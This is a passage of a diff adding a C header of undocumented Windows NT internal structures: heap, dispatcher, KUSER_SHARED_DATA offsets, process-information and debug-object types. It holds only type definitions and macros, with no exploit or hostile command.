UCHAR Size; + UCHAR Hand; + }; + + union + { + UCHAR Inserted; + BOOLEAN DebugActive; + }; + + }; // struct .. + volatile LONG Lock; + }; // first union .. + + LONG SignalState; + LIST_ENTRY WaitListHead; +} DISPATCHER_HEADER, *PDISPATCHER_HEADER; + +typedef struct _KEVENT +{ + DISPATCHER_HEADER Header; +} KEVENT, *PKEVENT, *PRKEVENT; + +typedef struct _KGATE +{ + DISPATCHER_HEADER Header; +} KGATE, *PKGATE; + +typedef struct _KSEMAPHORE +{ + DISPATCHER_HEADER Header; + LONG Limit; +} KSEMAPHORE, *PKSEMAPHORE; // + +typedef struct _OWNER_ENTRY +{ + ULONG OwnerThread; + LONG OwnerCount; + ULONG TableSize; +} OWNER_ENTRY, *POWNER_ENTRY; // + +typedef struct _ERESOURCE +{ + LIST_ENTRY SystemResourcesList; + OWNER_ENTRY* OwnerTable; + SHORT ActiveCount; + USHORT Flag; + KSEMAPHORE* SharedWaiters; + KEVENT* ExclusiveWaiters; + OWNER_ENTRY OwnerEntry; + ULONG ActiveEntries; + ULONG ContentionCount; + ULONG NumberOfSharedWaiters; + ULONG NumberOfExclusiveWaiters; + PVOID Address; + ULONG CreatorBackTraceIndex; + ULONG SpinLock; +} ERESOURCE, *PERESOURCE; // + +#define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S)) + +#define HEAP_GRANULARITY (sizeof( HEAP_ENTRY )) +#define HEAP_GRANULARITY_SHIFT 3 + +#define HEAP_MAXIMUM_BLOCK_SIZE (USHORT)(((0x10000 << HEAP_GRANULARITY_SHIFT) - PAGE_SIZE) >> HEAP_GRANULARITY_SHIFT) + +#define HEAP_MAXIMUM_FREELISTS 128 +#define HEAP_MAXIMUM_SEGMENTS 16 + +#define HEAP_ENTRY_BUSY 0x01 +#define HEAP_ENTRY_EXTRA_PRESENT 0x02 +#define HEAP_ENTRY_FILL_PATTERN 0x04 +#define HEAP_ENTRY_VIRTUAL_ALLOC 0x08 +#define HEAP_ENTRY_LAST_ENTRY 0x10 +#define HEAP_ENTRY_SETTABLE_FLAG1 0x20 +#define HEAP_ENTRY_SETTABLE_FLAG2 0x40 +#define HEAP_ENTRY_SETTABLE_FLAG3 0x80 +#define HEAP_ENTRY_SETTABLE_FLAGS 0xE0 + +typedef struct _HEAP_LOCK +{ + union + { + RTL_CRITICAL_SECTION CriticalSection; + ERESOURCE Resource; + } Lock; +} HEAP_LOCK, *PHEAP_LOCK; + +typedef struct _HEAP_TUNING_PARAMETERS +{ + ULONG CommittThresholdShift; + ULONG MaxPreCommittThreshold; +} HEAP_TUNING_PARAMETERS, *PHEAP_TUNING_PARAMETERS; // + +typedef struct _HEAP_PSEUDO_TAG_ENTRY +{ + ULONG Allocs; + ULONG Frees; + ULONG Size; +} HEAP_PSEUDO_TAG_ENTRY, *PHEAP_PSEUDO_TAG_ENTRY; // + +typedef struct _HEAP_TAG_ENTRY +{ + ULONG Allocs; + ULONG Frees; + ULONG Size; + USHORT TagIndex; + USHORT CreatorBackTraceIndex; + WCHAR TagName[ 24 ]; +} HEAP_TAG_ENTRY, *PHEAP_TAG_ENTRY; // + +typedef struct _HEAP_ENTRY +{ + USHORT Size; + UCHAR Flags; + UCHAR SmallTagIndex; + PVOID SubSegmentCode; + USHORT PreviousSize; + UCHAR SegmentOffset; + UCHAR LFHFlags; + UCHAR UnusedBytes; + USHORT FunctionIndex; + USHORT ContextValue; + ULONG InterceptorValue; + USHORT UnusedBytesLength; + UCHAR EntryOffset; + UCHAR ExtendedBlockSignature; + ULONG Code1; + USHORT Code2; + UCHAR Code3; + UCHAR Code4; + ULONG64 AgregateCode; +} HEAP_ENTRY, *PHEAP_ENTRY; + +typedef struct _HEAP_COUNTERS +{ + ULONG TotalMemoryReserved; + ULONG TotalMemoryCommitted; + ULONG TotalMemoryLargeUCR; + ULONG TotalSizeInVirtualBlocks; + ULONG TotalSegments; + ULONG TotalUCRs; + ULONG CommittOps; + ULONG DeCommitOps; + ULONG LockAcquires; + ULONG LockCollisions; + ULONG CommitRate; + ULONG DecommittRate; + ULONG CommitFailures; + ULONG InBlockCommitFailures; + ULONG CompactHeapCalls; + ULONG CompactedUCRs; + ULONG InBlockDeccommits; + ULONG InBlockDeccomitSize; +} HEAP_COUNTERS, *PHEAP_COUNTERS; // + +typedef struct _HEAP +{ + HEAP_ENTRY Entry; + ULONG SegmentSignature; + ULONG SegmentFlags; + LIST_ENTRY SegmentListEntry; + struct _HEAP* Heap; + PVOID BaseAddress; + ULONG NumberOfPages; + PHEAP_ENTRY FirstEntry; + PHEAP_ENTRY LastValidEntry; + ULONG NumberOfUnCommittedPages; + ULONG NumberOfUnCommittedRanges; + USHORT SegmentAllocatorBackTraceIndex; + USHORT Reserved; + LIST_ENTRY UCRSegmentList; + ULONG Flags; + ULONG ForceFlags; + ULONG CompatibilityFlags; + ULONG EncodeFlagMask; + HEAP_ENTRY Encoding; + ULONG PointerKey; + ULONG Interceptor; + ULONG VirtualMemoryThreshold; + ULONG Signature; + ULONG SegmentReserve; + ULONG SegmentCommit; + ULONG DeCommitFreeBlockThreshold; + ULONG DeCommitTotalFreeThreshold; + ULONG TotalFreeSize; + ULONG MaximumAllocationSize; + USHORT ProcessHeapsListIndex; + USHORT HeaderValidateLength; + PVOID HeaderValidateCopy; + USHORT NextAvailableTagIndex; + USHORT MaximumTagIndex; + PHEAP_TAG_ENTRY TagEntries; + LIST_ENTRY UCRList; + ULONG AlignRound; + ULONG AlignMask; + LIST_ENTRY VirtualAllocdBlocks; + LIST_ENTRY SegmentList; + USHORT AllocatorBackTraceIndex; + ULONG NonDedicatedListLength; + PVOID BlocksIndex; + PVOID UCRIndex; + PHEAP_PSEUDO_TAG_ENTRY PseudoTagEntries; + LIST_ENTRY FreeLists; + PHEAP_LOCK LockVariable; + LONG * CommitRoutine; // <<-- http://www.nirsoft.net/kernel_struct/vista/HEAP.html + PVOID FrontEndHeap; + USHORT FrontHeapLockCount; + UCHAR FrontEndHeapType; + HEAP_COUNTERS Counters; + HEAP_TUNING_PARAMETERS TuningParameters; +} HEAP, *PHEAP; // + +typedef struct _HEAP_FREE_ENTRY_EXTRA +{ + USHORT TagIndex; + USHORT FreeBackTraceIndex; +} HEAP_FREE_ENTRY_EXTRA, *PHEAP_FREE_ENTRY_EXTRA; // + +typedef struct _HEAP_ENTRY_EXTRA +{ + USHORT AllocatorBackTraceIndex; + USHORT TagIndex; + ULONG Settable; + ULONG64 ZeroInit; +} HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA; // + +typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY +{ + LIST_ENTRY Entry; + HEAP_ENTRY_EXTRA ExtraStuff; + ULONG CommitSize; + ULONG ReserveSize; + HEAP_ENTRY BusyBlock; +} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY; // + +// +// Known extended CPU state feature IDs +// + +// #define XSTATE_LEGACY_FLOATING_POINT 0 +// #define XSTATE_LEGACY_SSE 1 +// #define XSTATE_GSSE 2 +// +// #define XSTATE_MASK_LEGACY_FLOATING_POINT (1i64 << (XSTATE_LEGACY_FLOATING_POINT)) +// #define XSTATE_MASK_LEGACY_SSE (1i64 << (XSTATE_LEGACY_SSE)) +// #define XSTATE_MASK_LEGACY (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE) +// #define XSTATE_MASK_GSSE (1i64 << (XSTATE_GSSE)) +// +// #define MAXIMUM_XSTATE_FEATURES 64 + + +typedef enum _HARDERROR_RESPONSE_OPTION +{ + OptionAbortRetryIgnore, + OptionOk, + OptionOkCancel, + OptionRetryCancel, + OptionYesNo, + OptionYesNoCancel, + OptionShutdownSystem, + OptionOkNoWait, + OptionCancelTryContinue +} HARDERROR_RESPONSE_OPTION; + +typedef enum _HARDERROR_RESPONSE +{ + ResponseReturnToCaller, + ResponseNotHandled, + ResponseAbort, + ResponseCancel, + ResponseIgnore, + ResponseNo, + ResponseOk, + ResponseRetry, + ResponseYes, + ResponseTryAgain, + ResponseContinue +} HARDERROR_RESPONSE; + +typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE +{ + StandardDesign, // None == 0 == standard design + NEC98x86, // NEC PC98xx series on X86 + EndAlternatives // past end of known alternatives +} ALTERNATIVE_ARCHITECTURE_TYPE; + +#define NX_SUPPORT_POLICY_ALWAYSOFF 0 +#define NX_SUPPORT_POLICY_ALWAYSON 1 +#define NX_SUPPORT_POLICY_OPT_In_ 2 +#define NX_SUPPORT_POLICY_OPT_Out_ 3 + +#define PROCESSOR_FEATURE_MAX 64 +#define MAX_WOW64_SHARED_ENTRIES 16 + +#if defined(_MSC_VER) && (_MSC_VER < 1300) + +#define XSTATE_LEGACY_FLOATING_POINT 0 +#define XSTATE_LEGACY_SSE 1 +#define XSTATE_GSSE 2 + +#define XSTATE_MASK_LEGACY_FLOATING_POINT (1i64 << (XSTATE_LEGACY_FLOATING_POINT)) +#define XSTATE_MASK_LEGACY_SSE (1i64 << (XSTATE_LEGACY_SSE)) +#define XSTATE_MASK_LEGACY (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE) +#define XSTATE_MASK_GSSE (1i64 << (XSTATE_GSSE)) + +#define MAXIMUM_XSTATE_FEATURES 64 + +// +// Extended processor state configuration +// +#if defined(_WINNT_) && defined(_MSC_VER) && _MSC_VER < 1300 +typedef struct _XSTATE_FEATURE { + DWORD Offset; + DWORD Size; +} XSTATE_FEATURE, *PXSTATE_FEATURE; + +typedef struct _XSTATE_CONFIGURATION { + // Mask of enabled features + DWORD64 EnabledFeatures; + + // Total size of the save area + DWORD Size; + + DWORD OptimizedSave : 1; + + // List of features ( + XSTATE_FEATURE Features[MAXIMUM_XSTATE_FEATURES]; + +} XSTATE_CONFIGURATION, *PXSTATE_CONFIGURATION; +#endif + +#ifndef _WINDOWS_ +typedef enum _HEAP_INFORMATION_CLASS { + HeapCompatibilityInformation +} HEAP_INFORMATION_CLASS; +#endif //_WINDOWS_ + +#endif + +typedef struct _KUSER_SHARED_DATA +{ + ULONG TickCountLowDeprecated; + ULONG TickCountMultiplier; + + volatile KSYSTEM_TIME InterruptTime; + volatile KSYSTEM_TIME SystemTime; + volatile KSYSTEM_TIME TimeZoneBias; + + USHORT ImageNumberLow; + USHORT ImageNumberHigh; + + WCHAR NtSystemRoot[260]; + + ULONG MaxStackTraceDepth; + + ULONG CryptoExponent; + + ULONG TimeZoneId; + ULONG LargePageMinimum; + ULONG Reserved2[7]; + + ULONG NtProductType; + BOOLEAN ProductTypeIsValid; + + ULONG NtMajorVersion; + ULONG NtMinorVersion; + + BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; + + ULONG Reserved1; + ULONG Reserved3; + + volatile ULONG TimeSlip; + + ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; + + LARGE_INTEGER SystemExpirationDate; + + ULONG SuiteMask; + + BOOLEAN KdDebuggerEnabled; + + UCHAR NXSupportPolicy; + + volatile ULONG ActiveConsoleId; + + volatile ULONG DismountCount; + + ULONG ComPlusPackage; + + ULONG LastSystemRITEventTickCount; + + ULONG NumberOfPhysicalPages; + + BOOLEAN SafeBootMode; + union + { + UCHAR TscQpcData; + struct + { + UCHAR TscQpcEnabled : 1; + UCHAR TscQpcSpareFlag : 1; + UCHAR TscQpcShift : 6; + }; + }; + UCHAR TscQpcPad[2]; + + union + { + ULONG TraceLogging; + ULONG SharedDataFlags; + struct + { + ULONG DbgErrorPortPresent : 1; + ULONG DbgElevationEnabled : 1; + ULONG DbgVirtEnabled : 1; + ULONG DbgInstallerDetectEnabled : 1; + ULONG DbgSystemDllRelocated : 1; + ULONG DbgDynProcessorEnabled : 1; + ULONG DbgSEHValidationEnabled : 1; + ULONG SpareBits : 25; + }; + }; + ULONG DataFlagsPad[1]; + + ULONGLONG TestRetInstruction; + ULONG SystemCall; + ULONG SystemCallReturn; + ULONGLONG SystemCallPad[3]; + + union + { + volatile KSYSTEM_TIME TickCount; + volatile ULONG64 TickCountQuad; + struct + { + ULONG ReservedTickCountOverlay[3]; + ULONG TickCountPad[1]; + }; + }; + + ULONG Cookie; + + // Entries below all invalid below Windows Vista + + ULONG CookiePad[1]; + + LONGLONG ConsoleSessionForegroundProcessId; + + ULONG Wow64SharedInformation[MAX_WOW64_SHARED_ENTRIES]; + + USHORT UserModeGlobalLogger[16]; + ULONG ImageFileExecutionOptions; + + ULONG LangGenerationCount; + + union + { + ULONGLONG AffinityPad; // only valid on Windows Vista + ULONG_PTR ActiveProcessorAffinity; // only valid on Windows Vista + ULONGLONG Reserved5; + }; + volatile ULONG64 InterruptTimeBias; + volatile ULONG64 TscQpcBias; + + volatile ULONG ActiveProcessorCount; + volatile USHORT ActiveGroupCount; + USHORT Reserved4; + + volatile ULONG AitSamplingValue; + volatile ULONG AppCompatFlag; + + ULONGLONG SystemDllNativeRelocation; + ULONG SystemDllWowRelocation; + + ULONG XStatePad[1]; + XSTATE_CONFIGURATION XState; +} KUSER_SHARED_DATA, *PKUSER_SHARED_DATA; + +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountMultiplier) == 0x4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTime) == 0x8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemTime) == 0x14); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBias) == 0x20); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberLow) == 0x2c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberHigh) == 0x2e); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtSystemRoot) == 0x30); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, MaxStackTraceDepth) == 0x238); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, CryptoExponent) == 0x23c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneId) == 0x240); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LargePageMinimum) == 0x244); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved2) == 0x248); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtProductType) == 0x264); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProductTypeIsValid) == 0x268); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMajorVersion) == 0x26c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMinorVersion) == 0x270); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProcessorFeatures) == 0x274); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved1) == 0x2b4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved3) == 0x2b8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeSlip) == 0x2bc); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AlternativeArchitecture) == 0x2c0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemExpirationDate) == 0x2c8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SuiteMask) == 0x2d0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, KdDebuggerEnabled) == 0x2d4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NXSupportPolicy) == 0x2d5); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveConsoleId) == 0x2d8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, DismountCount) == 0x2dC); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ComPlusPackage) == 0x2e0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LastSystemRITEventTickCount) == 0x2e4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NumberOfPhysicalPages) == 0x2e8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SafeBootMode) == 0x2ec); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TraceLogging) == 0x2f0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TestRetInstruction) == 0x2f8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCall) == 0x300); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallReturn) == 0x304); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallPad) == 0x308); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCount) == 0x320); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountQuad) == 0x320); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Cookie) == 0x330); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ConsoleSessionForegroundProcessId) == 0x338); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Wow64SharedInformation) == 0x340); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved5) == 0x3a8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TscQpcBias) == 0x3b8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveProcessorCount) == 0x3c0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveGroupCount) == 0x3c4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved4) == 0x3c6); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AitSamplingValue) == 0x3c8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AppCompatFlag) == 0x3cc); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllNativeRelocation) == 0x3d0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllWowRelocation) == 0x3d8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, XState) == 0x3e0); + +#define SHARED_USER_DATA_VA 0x7FFE0000 +#define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)SHARED_USER_DATA_VA) + +__inline struct _KUSER_SHARED_DATA * GetKUserSharedData() { return (USER_SHARED_DATA); } + +__forceinline ULONG NtGetTickCount() { return (ULONG) ((USER_SHARED_DATA->TickCountQuad * USER_SHARED_DATA->TickCountMultiplier) >> 24); } + +//added 20/03/2011 +#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001 +#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002 +#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 + +//added 20/03/2011 +typedef struct _RTL_PROCESS_REFLECTION_INFORMATION +{ + HANDLE Process; + HANDLE Thread; + CLIENT_ID ClientId; +} RTL_PROCESS_REFLECTION_INFORMATION, *PRTL_PROCESS_REFLECTION_INFORMATION; + +//FIXED 21.02.2011 size for x64 +typedef struct _VM_COUNTERS { + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; +} VM_COUNTERS; +typedef VM_COUNTERS *PVM_COUNTERS; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct _IO_COUNTERS { + ULONGLONG ReadOperationCount; + ULONGLONG WriteOperationCount; + ULONGLONG OtherOperationCount; + ULONGLONG ReadTransferCount; + ULONGLONG WriteTransferCount; + ULONGLONG OtherTransferCount; +} IO_COUNTERS; +typedef IO_COUNTERS *PIO_COUNTERS; +#endif + +// SystemProcessesAndThreadsInformation +//FIXED 21.02.2011 size for x64 (and as well for x86 too) +typedef struct _SYSTEM_PROCESSES_INFORMATION { + ULONG NextEntryDelta; + ULONG ThreadCount; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + VM_COUNTERS VmCounters; + IO_COUNTERS IoCounters; + SYSTEM_THREAD_INFORMATION Threads[1]; +} SYSTEM_PROCESSES_INFORMATION, *PSYSTEM_PROCESSES_INFORMATION; + +#define SIZEOF_BP_BUFFER 32 +#define LPC_BUFFER_SIZE 0x130 + +typedef struct _DBGKM_EXCEPTION +{ + EXCEPTION_RECORD ExceptionRecord; + ULONG FirstChance; +} DBGKM_EXCEPTION, *PDBGKM_EXCEPTION; + +typedef struct _DBGKM_CREATE_THREAD +{ + ULONG SubSystemKey; + PVOID StartAddress; +} DBGKM_CREATE_THREAD, *PDBGKM_CREATE_THREAD; + +typedef struct _DBGKM_CREATE_PROCESS +{ + ULONG SubSystemKey; + HANDLE FileHandle; + PVOID BaseOfImage; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + DBGKM_CREATE_THREAD InitialThread; +} DBGKM_CREATE_PROCESS, *PDBGKM_CREATE_PROCESS; + +typedef struct _DBGKM_EXIT_THREAD +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_THREAD, *PDBGKM_EXIT_THREAD; + +typedef struct _DBGKM_EXIT_PROCESS +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_PROCESS, *PDBGKM_EXIT_PROCESS; + +typedef struct _DBGKM_LOAD_DLL +{ + HANDLE FileHandle; + PVOID BaseOfDll; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + PVOID NamePointer; +} DBGKM_LOAD_DLL, *PDBGKM_LOAD_DLL; + +typedef struct _DBGKM_UNLOAD_DLL +{ + PVOID BaseAddress; +} DBGKM_UNLOAD_DLL, *PDBGKM_UNLOAD_DLL; + +typedef enum _DBG_STATE +{ + DbgIdle, + DbgReplyPending, + DbgCreateThreadStateChange, + DbgCreateProcessStateChange, + DbgExitThreadStateChange, + DbgExitProcessStateChange, + DbgExceptionStateChange, + DbgBreakpointStateChange, + DbgSingleStepStateChange, + DbgLoadDllStateChange, + DbgUnloadDllStateChange +} DBG_STATE, *PDBG_STATE; + +typedef struct _DBGUI_CREATE_THREAD +{ + HANDLE HandleToThread; + DBGKM_CREATE_THREAD NewThread; +} DBGUI_CREATE_THREAD, *PDBGUI_CREATE_THREAD; + +typedef struct _DBGUI_CREATE_PROCESS +{ + HANDLE HandleToProcess; + HANDLE HandleToThread; + DBGKM_CREATE_PROCESS NewProcess; +} DBGUI_CREATE_PROCESS, *PDBGUI_CREATE_PROCESS; + +typedef struct _DBGUI_WAIT_STATE_CHANGE +{ + DBG_STATE NewState; + CLIENT_ID AppClientId; + union + { + DBGKM_EXCEPTION Exception; + DBGUI_CREATE_THREAD CreateThread; + DBGUI_CREATE_PROCESS CreateProcessInfo; + DBGKM_EXIT_THREAD ExitThread; + DBGKM_EXIT_PROCESS ExitProcess; + DBGKM_LOAD_DLL LoadDll; + DBGKM_UNLOAD_DLL UnloadDll; + } StateInfo; +} DBGUI_WAIT_STATE_CHANGE, *PDBGUI_WAIT_STATE_CHANGE; + +#define DEBUG_READ_EVENT 0x0001 +#define DEBUG_PROCESS_ASSIGN 0x0002 +#define DEBUG_SET_INFORMATION 0x0004 +#define DEBUG_QUERY_INFORMATION 0x0008 +#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + DEBUG_READ_EVENT | DEBUG_PROCESS_ASSIGN | DEBUG_SET_INFORMATION | \ + DEBUG_QUERY_INFORMATION) + +#define DEBUG_KILL_ON_CLOSE 0x1 + +typedef enum _DEBUGOBJECTINFOCLASS +{ + DebugObjectFlags = 1, + MaxDebugObjectInfoClass +} DEBUGOBJECTINFOCLASS, *PDEBUGOBJECTINFOCLASS; + + +//added 21/03/2011 +//begin +typedef struct _RTL_HEAP_TAG_INFO +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; +} RTL_HEAP_TAG_INFO, *PRTL_HEAP_TAG_INFO; + +#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS +#define MAKE_TAG( t ) (RTL_HEAP_MAKE_TAG( NtdllBaseTag, t )) + +typedef NTSTATUS (NTAPI *PRTL_ENUM_HEAPS_ROUTINE)( + _In_ PVOID HeapHandle, + _In_ PVOID Parameter + ); + +typedef struct _RTL_HEAP_USAGE_ENTRY +{ + struct _RTL_HEAP_USAGE_ENTRY *Next; + PVOID Address; + SIZE_T Size; + USHORT AllocatorBackTraceIndex; + USHORT TagIndex; +} RTL_HEAP_USAGE_ENTRY, *PRTL_HEAP_USAGE_ENTRY; + +typedef struct _RTL_HEAP_USAGE +{ + ULONG Length; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + SIZE_T BytesReserved; + SIZE_T BytesReservedMaximum; + PRTL_HEAP_USAGE_ENTRY Entries; + PRTL_HEAP_USAGE_ENTRY AddedEntries; + PRTL_HEAP_USAGE_ENTRY RemovedEntries; + ULONG_PTR Reserved[8]; +} RTL_HEAP_USAGE, *PRTL_HEAP_USAGE; + +#define HEAP_USAGE_ALLOCATED_BLOCKS HEAP_REALLOC_IN_PLACE_ONLY +#define HEAP_USAGE_FREE_BUFFER HEAP_ZERO_MEMORY + +typedef struct _RTL_HEAP_WALK_ENTRY +{ + PVOID DataAddress; + SIZE_T DataSize; + UCHAR OverheadBytes; + UCHAR SegmentIndex; + USHORT Flags; + union + { + struct + { + SIZE_T Settable; + USHORT TagIndex; + USHORT AllocatorBackTraceIndex; + ULONG Reserved[2]; + } Block; + struct + { + ULONG CommittedSize; + ULONG UnCommittedSize; + PVOID FirstEntry; + PVOID LastEntry; + } Segment; + }; +} RTL_HEAP_WALK_ENTRY, *PRTL_HEAP_WALK_ENTRY; + +#define HeapDebuggingInformation 0x80000002 + +typedef NTSTATUS (NTAPI *PRTL_HEAP_LEAK_ENUMERATION_ROUTINE)( + _In_ LONG Reserved, + _In_ PVOID HeapHandle, + _In_ PVOID BaseAddress, + _In_ SIZE_T BlockSize, + _In_ ULONG StackTraceDepth, + _In_ PVOID *StackTrace + ); + +typedef struct _HEAP_DEBUGGING_INFORMATION +{ + PVOID InterceptorFunction; + USHORT InterceptorValue; + ULONG ExtendedOptions; + ULONG StackTraceDepth; + SIZE_T MinTotalBlockSize; + SIZE_T MaxTotalBlockSize; + PRTL_HEAP_LEAK_ENUMERATION_ROUTINE HeapLeakEnumerationRoutine; +} HEAP_DEBUGGING_INFORMATION, *PHEAP_DEBUGGING_INFORMATION; + +// added 11/04/2011 +#define PREALLOCATE_EVENT_MASK 0x80000000 + +#define RtlInitializeLockRoutine(L) RtlInitializeCriticalSectionAndSpinCount((PRTL_CRITICAL_SECTION)(L),(PREALLOCATE_EVENT_MASK | 4000)) +#define RtlAcquireLockRoutine(L) RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L)) +#define RtlReleaseLockRoutine(L) RtlLeaveCriticalSection((PRTL_CRITICAL_SECTION)(L)) +#define RtlDeleteLockRoutine(L) RtlDeleteCriticalSection((PRTL_CRITICAL_SECTION)(L)) + +typedef struct _RTL_MEMORY_ZONE_SEGMENT +{ + struct _RTL_MEMORY_ZONE_SEGMENT *NextSegment; + SIZE_T Size; + PVOID Next; + PVOID Limit; +} RTL_MEMORY_ZONE_SEGMENT, *PRTL_MEMORY_ZONE_SEGMENT; + +#if defined(_WINNT_) && defined(_MSC_VER) && (_MSC_VER < 1300) +typedef struct _RTL_SRWLOCK { + PVOID Ptr; +} RTL_SRWLOCK, *PRTL_SRWLOCK; +#endif + +typedef struct _RTL_MEMORY_ZONE +{ + RTL_MEMORY_ZONE_SEGMENT Segment; + RTL_SRWLOCK Lock; + ULONG LockCount; + PRTL_MEMORY_ZONE_SEGMENT FirstSegment; +} RTL_MEMORY_ZONE, *PRTL_MEMORY_ZONE; + +typedef struct _RTL_PROCESS_VERIFIER_OPTIONS +{ + ULONG SizeStruct; + ULONG Option; + UCHAR OptionData[1]; +} RTL_PROCESS_VERIFIER_OPTIONS, *PRTL_PROCESS_VERIFIER_OPTIONS; + +typedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS +{ + VmPrefetchInformation, + VmPagePriorityInformation, 